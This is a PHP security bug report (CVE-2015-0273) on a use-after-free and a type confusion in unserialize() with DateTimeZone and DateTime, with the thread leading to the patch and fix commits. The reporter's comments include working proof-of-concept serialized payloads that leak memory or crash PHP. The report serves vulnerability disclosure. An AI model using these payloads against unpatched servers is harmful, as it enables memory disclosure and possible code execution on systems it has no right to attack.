php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68942 Use after free vulnerability in unserialize() with DateTimeZone
Submitted: 2015-01-29 07:20 UTC Modified: 2015-02-27 06:04 UTC
From: taoguangchen at icloud dot com Assigned: derick (profile)
Status: Closed Package: Date/time related
PHP Version: 5.4.37 OS: *
Private report: No CVE-ID: 2015-0273
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-01-29 07:20 UTC] taoguangchen at icloud dot com
Description:
------------
I. Use after free vulnerability

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;

	if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

The following code should leak arbitrary memory:

<?php

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:2:{i:0;i:1;i:1;i:2;}s:8:"timezone";s:1:"A";}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);
?>

II. Type confusion vulnerability

Z_STRVAL_PP leads to various problems.

The following code should crash PHP:

<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:1;}');

?>


Patches

patch-master (last revision 2015-02-01 06:58 UTC by stas@php.net)
patch-5.5 (last revision 2015-02-01 06:56 UTC by stas@php.net)
patch-5.4 (last revision 2015-02-01 06:48 UTC by stas@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-01-29 07:30 UTC] taoguangchen at icloud dot com
Result(test on MAMP with PHP 5.6.5):

array(2) { [0]=> object(DateTimeZone)#1 (2) { ["timezone_type"]=> int(2) ["timezone"]=> string(1) "A" } [1]=> string(1024) "3t-�PQ,0�����u�P��ck~�5�2C��b"�R�����v�[S+��P��|;��96%�� �����l��T<[TF��a�4�z�C" }
 [2015-01-29 11:36 UTC] laruence@php.net
-Assigned To: +Assigned To: derick
 [2015-01-29 11:36 UTC] laruence@php.net
-Status: Assigned +Status: Open
 [2015-01-29 11:41 UTC] taoguangchen at icloud dot com
-Status: Assigned +Status: Open
 [2015-01-29 11:41 UTC] taoguangchen at icloud dot com
The same problem also exists unserialize() with DateTime, DateInterval and DatePeriod.

static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)
{
	zval             *z_date;
	zval             *z_timezone;
	zval             *z_timezone_type;
	zval              tmp_obj;
	timelib_tzinfo   *tzi;
	php_timezone_obj *tzobj;

	z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
	if (z_date) {
		convert_to_string(z_date);
		z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1);
		if (z_timezone_type) {
			convert_to_long(z_timezone_type);
			z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
			if (z_timezone) {
				convert_to_string(z_timezone);
...

The following code should leak arbitrary memory:

<?php

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:8:"DateTime":3:{s:4:"date";s:26:"2000-01-01 00:00:00.000000";s:13:"timezone_type";a:2:{i:0;i:1;i:1;i:2;}s:8:"timezone";s:1:"A";}i:1;R:5;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);
?>
 [2015-01-29 12:45 UTC] taoguangchen at icloud dot com
Type Confusion Infoleak Vulnerability PoC:

<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896}');

?>

Result:
//Work on MacOSX 10.10.2 installation of PHP 5.5.14

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test/test.php
Process 889 launched: '/usr/bin/php' (x86_64)

Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (UH??AWAVAUATSH??8) in /test/test.php on line 2
Process 889 exited with status = 0 (0x00000000)
 [2015-02-01 06:32 UTC] stas@php.net
-Operating System: +Operating System: * -PHP Version: 5.6.5 +PHP Version: 5.4.37
 [2015-02-01 06:32 UTC] stas@php.net
Valgrind confirms the issue for 5.4 and up:

  ==73110== Invalid read of size 1
==73110==    at 0x100450699: php_var_dump (in ./cliphp)
==73110==    by 0x100451076: php_array_element_dump (in ./cliphp)
==73110==    by 0x1005C3040: zend_hash_apply_with_arguments (in ./cliphp)
==73110==    by 0x100450D70: php_var_dump (in ./cliphp)
==73110==    by 0x1004512E5: zif_var_dump (in ./cliphp)
==73110==    by 0x1006BE238: zend_do_fcall_common_helper_SPEC (in ./cliphp)
==73110==    by 0x10063D127: ZEND_DO_FCALL_SPEC_CONST_HANDLER (in ./cliphp)
==73110==    by 0x1005EFF39: execute (in ./cliphp)
==73110==    by 0x1005AE29A: zend_execute_scripts (in ./cliphp)
==73110==    by 0x100508F1E: php_execute_script (in ./cliphp)
==73110==    by 0x1007170D2: do_cli (in ./cliphp)
==73110==    by 0x100715E49: main (in ./cliphp)
==73110==  Address 0x101345bf4 is 20 bytes inside a block of size 32 free'd
==73110==    at 0x6AEF: free (in /Users/smalyshev/brew/Cellar/valgrind/3.10.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==73110==    by 0x10057028F: _efree (in ./cliphp)
==73110==    by 0x100593E70: _zval_ptr_dtor (in ./cliphp)
==73110==    by 0x1005C266D: zend_hash_destroy (in ./cliphp)
==73110==    by 0x1005AA0FF: _zval_dtor_func (in ./cliphp)
==73110==    by 0x10059E3BC: convert_to_long_base (in ./cliphp)
==73110==    by 0x10059E69C: convert_to_long (in ./cliphp)
==73110==    by 0x10000CA5F: php_date_initialize_from_hash (in ./cliphp)
==73110==    by 0x100006AED: zim_DateTime___wakeup (in ./cliphp)
==73110==    by 0x100597BCA: zend_call_function (in ./cliphp)
==73110==    by 0x10059674B: call_user_function_ex (in ./cliphp)
==73110==    by 0x10047738B: object_common2 (in ./cliphp)

etc. Will post the fix proposal soon.
 [2015-02-01 06:48 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: patch-5.4
Revision:   1422773336
URL:        https://bugs.php.net/patch-display.php?bug=68942&patch=patch-5.4&revision=1422773336
 [2015-02-01 06:56 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: patch-5.5
Revision:   1422773779
URL:        https://bugs.php.net/patch-display.php?bug=68942&patch=patch-5.5&revision=1422773779
 [2015-02-01 06:58 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: patch-master
Revision:   1422773938
URL:        https://bugs.php.net/patch-display.php?bug=68942&patch=patch-master&revision=1422773938
 [2015-02-17 07:11 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-02-17 07:11 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-02-18 05:37 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2015-0273
 [2015-02-18 05:37 UTC] remi@php.net
Please use: CVE-2015-0273 php: #68942 Use after free vulnerability in
unserialize() with DateTimeZone
 [2015-02-18 10:40 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c377f1a715476934133f3254d1e0d4bf3743e2d2
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 [2015-02-18 10:40 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=51cd5a1d09ce3dd3027eace601661a2bc5745851
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 [2015-02-18 20:02 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=71335e6ebabc1b12c057d8017fd811892ecdfd24
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 [2015-02-26 22:31 UTC] luigiwalser at yahoo dot com
What about part II of the original bug report?  Quoted here:
"II. Type confusion vulnerability
Z_STRVAL_PP leads to various problems.
The following code should crash PHP:
<?php
$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:1;}');
?>"

That wasn't fixed.  Is that considered a different issue, was it overlooked, is it not a bug, or something else?
 [2015-02-27 00:32 UTC] taoguangchen at icloud dot com
-Status: Closed +Status: Assigned
 [2015-02-27 00:32 UTC] taoguangchen at icloud dot com
It is a bug, and i think it is a security issue. 

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
...
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
...
static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char *tz TSRMLS_DC)
{
	timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
	int           dst, not_found;
	char         *orig_tz = tz;

	dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, &not_found, DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
	if (not_found) {
		php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);
		efree(dummy_t);
		return FAILURE;

The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory address, and outputing a string via an warning level error message that start from this memory address.
If the memory address is an invalid memory position, it should result in a crash.

In the BUG report, I wrote a number of use after free bugs, and this type confusion infoleak bug, but the latest patch is not completely solved these bugs, another unfixed bug I had reported in another BUG report, I hope you can read my report carefully, and really fix them.
 [2015-02-27 06:04 UTC] taoguangchen at icloud dot com
-Status: Assigned +Status: Closed
 [2015-02-27 06:04 UTC] taoguangchen at icloud dot com
The fix for this type confusion bug has been committed.
 [2015-11-11 15:28 UTC] bshastry at sec dot t-labs dot tu-berlin dot de
Just curious: Was a CVE assigned to the type-confusion exploit part of the bug? I see that there is one for the use-after-free part.
 [2016-07-20 11:39 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=625ab10f990911fb474430ac7c83dfaea13346dd
Log: Fix bug #68942 (Use after free vulnerability in unserialize() with DateTimeZone)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 12:01:29 2024 UTC